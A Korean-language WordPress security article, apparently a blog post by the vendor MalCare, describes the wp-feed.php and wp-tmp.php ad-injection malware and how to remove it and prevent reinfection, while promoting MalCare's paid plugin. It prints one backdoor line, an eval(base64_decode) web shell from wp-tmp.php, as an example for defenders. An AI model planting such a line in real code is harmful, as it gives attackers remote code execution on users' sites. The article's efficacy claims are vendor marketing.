악성코드 스캐너가 "사이트가 해킹당했다"고 경고하는데 정작 사이트를 열어보면 멀쩡해 보이나요?
방문자들은 워드프레스 사이트에서 스팸 광고를 본다고 불평하는데, 관리자인 당신 눈에는 아무것도 보이지 않나요?
그렇다면 사이트가 해킹당했을 가능성이 매우 높습니다.
해커들은 사이트 소유자에게 들키지 않도록 교묘하게 해킹을 위장합니다. 그래야 오랫동안 사이트를 은밀히 악용할 수 있기 때문입니다.
wp-feed.php 악성코드는 그중에서도 가장 교묘하게 위장된 유형 중 하나입니다.
사이트 소유자에게는 숨겨진 채로, 방문자들에게는 불법 제품, 마약, 성인 콘텐츠 광고를 보여줍니다.
설령 감염을 발견하더라도, 악성코드가 퍼진 모든 지점을 찾아내는 것은 어려울뿐더러 경우에 따라서는 불가능에 가깝습니다. 감염 제거 자체도 복잡하고 까다롭습니다. 겨우 제거에 성공해도 10건 중 8건은 감염이 다시 나타납니다.
결론적으로, 워드프레스 사이트에서 wp-feed.php 감염을 제거하는 일은 결코 쉽지 않습니다.
다행히 저희는 이 악성코드를 수없이 다뤄왔습니다. 지난 10년간 수천 개의 워드프레스 사이트에서 wp-feed 악성코드를 성공적으로 제거했을 뿐만 아니라, 재감염까지 예방해왔습니다.
걱정하지 마세요. 올바른 방법을 알려드리겠습니다.
이 글에서 배우게 될 내용은 다음과 같습니다.
- wp-feed.php 악성코드의 작동 방식과 사이트에 미치는 영향
- 사이트에서 악성코드를 제거하는 방법
- 향후 재감염을 막는 방법
wp-feed.php와 wp-tmp.php란 무엇일까? (원인, 증상, 재감염)
간단히 말해: WP-Feed는 웹사이트에 악성 광고를 표시하는 일종의 멀웨어입니다. 목표는 방문자가 광고를 클릭하도록 유도해 악성 사이트로 리디렉션하는 것입니다.
그렇다면 이런 의문이 들 것입니다.
> 내 사이트는 어떻게 감염되었을까?
이 감염은 대부분 눌(nulled) 플러그인 또는 테마 사용에서 비롯됩니다.
눌 소프트웨어는 프리미엄 기능을 무료로 제공하기 때문에 사용하고 싶은 유혹이 큽니다. 많은 사람들이 눌 소프트웨어가 선행으로 배포된다고 믿습니다.
하지만 실제로는 전혀 다릅니다. 해커들이 손쉽게 사이트에 침입할 수 있도록 하기 위해 배포되는 것입니다.
눌 플러그인과 테마에는 악성코드가 가득합니다. 눌 테마나 플러그인을 설치하는 순간, 해커에게 사이트 출입문을 열어주는 셈입니다.
눌 소프트웨어 외에도 오래된(업데이트되지 않은) 플러그인과 테마 역시 취약점이 될 수 있습니다. 해커는 이런 취약점을 악용해 사이트에 침입합니다.
또한 "admin", "p@ssword" 같은 취약한 아이디와 비밀번호도 공격 대상입니다. 약한 인증 정보는 추측하기 쉽습니다.
해커는 아이디와 비밀번호를 알아낸 뒤 wp-feed.php 악성코드를 직접 심을 수 있습니다.
> 해커는 왜 wp-feed.php로 사이트를 감염시킬까?
목적은 방문자를 빼앗아 가짜 서비스나 제품 구매를 유도해 수익을 얻는 것입니다.
놀라운 점은 사이트 소유자에게 단 하나의 단서도 보이지 않은 채 이 모든 일이 이루어진다는 사실입니다.
그렇다면 이런 질문이 자연스럽게 따라옵니다.
> 왜 감염 증상을 알아차리기 어려울까?
해커가 사이트 접근 권한을 확보하면 두 개의 파일(wp-feed.php & wp-tmp.php)을 wp-includes 폴더에 심습니다.
해커는 function.php 파일을 거쳐 워드프레스 사이트에 악성 팝업 광고를 표시할 수 있습니다.
정말 악질적인 부분은, 광고가 신규 방문자에게만 노출된다는 점입니다. 악성코드는 사이트 방문자를 기록해 재방문자에게는 광고를 보여주지 않습니다. 탐지를 피하기 위한 지극히 교묘한 방식입니다.
따라서 자신의 사이트에 자주 들르는 관리자인 당신은 어떠한 해킹 징후도 느끼지 못하는 것입니다.
wp-feed.php 악성코드 제거 방법
감염 제거 방법은 두 가지입니다.
1. 플러그인 사용 (쉬운 방법)
2. 직접 수동 제거 (어려운 방법)
각각의 방법을 자세히 살펴보겠습니다.
1. 플러그인으로 wp-feed.php 악성코드 제거하기 (권장)
이미 사이트에 보안 플러그인을 설치해두셨을 수 있습니다. 아마 그 플러그인이 wp-includes/wp-feed.php와 wp-includes/wp-tmp.php 같은 악성 파일을 경고했을 겁니다.
대부분의 보안 플러그인이 악성코드 제거 서비스를 제공하지만, MalCare Security처럼 빠르고 효과적으로 처리하는 곳은 많지 않습니다.
- MalCare는 60초 이내에 사이트를 정화합니다. 티켓을 등록하거나 대기열에서 기다리거나, 사이트 인증 정보를 제3자에게 넘길 필요가 없습니다.
- 뿐만 아니라 플러그인은 사이트 구석구석을 샅샅이 뒤져 숨겨진 악성코드까지 찾아냅니다. 사이트에 존재하는 모든 악성 스크립트를 탐지합니다.
- 비전통적인 탐지 방식으로 코드 동작을 분석해 악성 여부를 판별하므로, 정상 코드를 오탐하는 일이 없도록 합니다.
- 이 모든 과정이 몇 분 안에 완료됩니다.
MalCare로 wp-feed.php 감염을 제거해 보겠습니다.
1단계: 워드프레스 사이트에 MalCare Security를 설치하고 활성화합니다.
2단계: 대시보드 메뉴에서 MalCare를 선택하고, 이메일 주소를 입력한 뒤 Secure Site Now를 클릭합니다.
3단계: 다음 화면에서 비밀번호 입력, 그리고 URL 입력을 진행합니다.
MalCare가 즉시 사이트 스캔을 시작합니다. 목적은 사이트에 존재하는 모든 악성코드를 찾아내는 것입니다.
즉, wp-feed.php와 wp-tmp.php 파일뿐만 아니라 function.php 파일에 숨어 있는 코드까지, 워드프레스 파일을 감염시키는 모든 악성코드를 탐지합니다.
재감염을 방지하기 위해 사이트에 존재하는 백도어까지 전부 찾아낸다는 점도 안심하셔도 좋습니다.
악성 스크립트를 발견하면 플러그인이 경고를 표시합니다. 이제 사이트를 정화할 차례입니다.
참고: MalCare의 악성코드 제거 기능은 유료 기능입니다. 연 $99로 하나의 사이트를 원하는 만큼 반복해서 정화할 수 있으며, 최고 수준의 보호를 받을 수 있습니다.
4단계: 사이트에서 wp-feed.php의 흔적을 완전히 없애려면 Auto-Clean 버튼을 클릭하기만 하면 됩니다.
MalCare가 즉시 사이트 정화를 시작합니다.
이것으로 끝입니다. 이렇게 플러그인으로 사이트를 정화할 수 있습니다.
2. 수동으로 wp-feed.php 악성코드 제거하기 (어려운 방법)
수동 제거는 상당히 까다롭습니다. 이런 유형의 감염은 얽힌 요소가 많기 때문입니다.
- 해커는 악성 파일 두 개(wp-feed.php & wp-tmp.php)를 업로드합니다. 우선 이들을 삭제해야 하며, 이게 유일하게 쉬운 부분입니다.
- 감염은 function.php 파일을 포함한 다른 워드프레스 파일로 번집니다. 어디까지 퍼졌는지 알 수 없기 때문에 제거가 어렵습니다.
- 모든 악성코드를 찾는 데 몇 시간이 걸릴 수 있습니다.
- 악성코드는 위장이 잘 되어 있어 일반 코드처럼 보이므로 식별이 어렵습니다.
- "eval(base64_decode)"처럼 알려진 악성 코드 패턴도 정상 플러그인에서 합법적으로 사용되는 경우가 있습니다. 무조건 삭제하면 플러그인에 문제가 생기고 사이트가 깨질 수도 있습니다.
- 코드 조각을 놓칠 가능성이 상당히 높으며, 이것이 재감염의 원인이 됩니다.
따라서 수동 제거는 효율성이 떨어집니다.
그래도 직접 진행하고 싶다면, 반드시 사이트 전체 백업을 먼저 받으세요. 실수로 파일을 삭제해 사이트가 깨지더라도 빠르게 복구할 수 있습니다.
wp-tmp.php 악성코드 감염이 주는 피해
말할 필요도 없이 wp-feed.php & wp-tmp.php 악성코드는 사이트에 치명적인 영향을 줍니다.
wp-temp.php에 감염된 사이트는 흔히 다음과 같은 결과를 겪습니다.
- 이탈률 급증과 방문자 체류 시간 감소가 나타납니다.
- 팝업 광고 때문에 사이트가 무거워지고 현저히 느려집니다.
- 느린 사이트를 아무도 좋아하지 않으므로, 방문자는 페이지가 로드되기 전에 뒤로 가기 버튼을 누릅니다. 도미노 효과가 시작됩니다.
- 검색엔진은 방문자가 얼마나 빨리 사이트를 떠나는지 파악하고, 사용자가 원하는 콘텐츠를 제공하지 않는다고 판단합니다. 결국 검색 순위가 하락합니다.
- 검색 상위 노출을 위해 쏟은 모든 노력, 시간, 비용이 물거품이 됩니다.
- 해킹된 사이트는 구글로부터 블랙리스트에 등재되고 호스팅 업체로부터 계정 정지를 당할 수 있습니다. 구글 애즈를 운영 중이라면 애드워즈 계정도 정지됩니다. 트래픽은 더욱 급감합니다.
- 게다가 해킹된 사이트는 정화 작업이 필요한데, 적절한 도구를 사용하지 않으면 비용이 상당히 많이 들 수 있습니다.
좋은 소식은, 적어도 사이트가 해킹당했다는 사실을 알고 있다는 점입니다. 따라서 정화하여 피해를 막을 수 있습니다.
wp-feed.php 악성코드 재감염 예방 방법
많은 사용자가 wp-feed.php 악성코드를 제거했는데도 계속 재발한다고 호소합니다.
원인은 사이트에 백도어가 설치되어 있기 때문입니다. 대부분의 백도어는 극도로 잘 위장되어 있어, 초보 개발자는 정상 코드로 착각하고 넘어가곤 합니다.
앞서 설명했듯 해커는 wp-feed.php와 wp-tmp.php 두 파일을 사이트 코드에 삽입합니다. 이중 wp-tmp.php가 백도어 역할을 합니다. 파일을 열어보면 대략 다음과 같은 스크립트가 담겨 있습니다.
$p = $_REQUEST["m"]; eval(base64_decode($p));
다행히 다음 조치들을 통해 향후 해킹 시도로부터 사이트를 보호할 수 있습니다.
1. 눌 소프트웨어 삭제 및 사용 중단
눌 플러그인이나 테마를 사용 중이라면 즉시 삭제하세요.
해커는 처음부터 눌 소프트웨어를 통해 사이트에 침입했습니다. 사이트를 아무리 깨끗이 정화해도 눌 소프트웨어를 제거하지 않으면 해커는 다시 침입해 악성코드를 심을 것입니다.
사용자에게 플러그인·테마 설치 권한을 줬다면, 눌 소프트웨어를 절대 사용하지 않도록 안내해야 합니다.
사실상 MalCare 같은 도구로 플러그인·테마 설치 자체를 차단하는 것이 더 안전한 선택입니다.
MalCare 대시보드에 로그인해 사이트를 선택하고, Apply Hardening을 클릭한 뒤 Block Plugin/Theme Installation을 활성화하기만 하면 됩니다.
2. 사이트 보안 강화
파일 권한 변경을 통해 해커가 wp-feed.php 같은 악성 파일을 워드프레스 폴더에 심는 것을 막을 수 있습니다.
파일 권한은 누가 어떤 파일에 접근할 수 있는지 결정하는 규칙 집합입니다. 사용자가 wp-includes 폴더를 수정하지 못하도록 차단할 수 있습니다.
파일 에디터 비활성화로 해커가 테마를 수정하는 것도 막을 수 있습니다. 이를 통해 사이트에 팝업 광고가 삽입되는 것을 예방할 수 있습니다. 수동으로도 가능하지만 위험 부담이 있어 권장하지 않습니다.
MalCare가 설치되어 있다면 버튼 하나로 파일 에디터를 비활성화할 수 있습니다.
3. 사이트 항상 최신 상태 유지
다른 소프트웨어와 마찬가지로 워드프레스 플러그인과 테마에도 취약점이 생깁니다. 개발자는 취약점을 발견하면 빠르게 패치를 만들어 업데이트 형태로 배포합니다.
업데이트 적용이 늦어지면 사이트가 위험에 노출됩니다.
해커는 취약점 악용에 능숙합니다. 실제로 취약점이 있는 사이트를 끊임없이 찾아다니며 접근 권한을 확보해 악성코드를 심습니다.
따라서 업데이트는 절대 미루지 마세요.
4. 강력한 인증 정보 강제 적용
사이트에 침입하는 가장 쉬운 경로는 로그인 페이지입니다.
해커는 사용자 인증 정보만 추측에 성공하면 됩니다. 실제로 몇 분 안에 수백 가지 아이디·비밀번호 조합을 시도하는 봇을 만들어 사용합니다. "admin", "password123" 같은 추측하기 쉬운 인증 정보를 사용하면 봇은 2초 만에 사이트를 뚫을 수 있습니다. 이를 무차별 대입(brute force) 공격이라고 합니다.
사이트의 모든 사용자가 고유한 아이디와 강력한 비밀번호를 사용하도록 하는 것이 중요합니다.
여기서 더 나아가 로그인 페이지를 보호하는 여러 조치를 적용할 수도 있습니다.
5. 방화벽 사용
애초에 해커가 사이트에 접근조차 못 하게 할 수 있다면 얼마나 좋을까요?
방화벽이 바로 그 도구입니다.
방화벽은 사이트 접근을 시도하는 트래픽을 검사합니다. 악성 IP 주소에서 발생한 트래픽으로 판단되면 즉시 차단합니다.
이렇게 해커와 봇을 필터링합니다.
MalCare를 사용 중이라면 이미 사이트에 방화벽이 활성화되어 있는 상태입니다.
이제 무엇을 해야 할까?
지금까지 사이트 정화 방법과 재해킹 방지 방법을 살펴봤습니다.
사이트를 여러 재난으로부터 지켜줄 한 가지 조언을 드리자면, 바로 정기적인 백업입니다.
사이트가 갑자기 오류를 뿜거나 깨졌을 때, 백업이 있으면 임시로라도 빠르게 복구할 수 있습니다.
MalCare Security를 구독하면 추가 요금으로 백업 애드온도 이용할 수 있습니다.
오늘 바로 사이트 보안을 점검하고, 안전한 워드프레스 운영 환경을 만들어 보세요!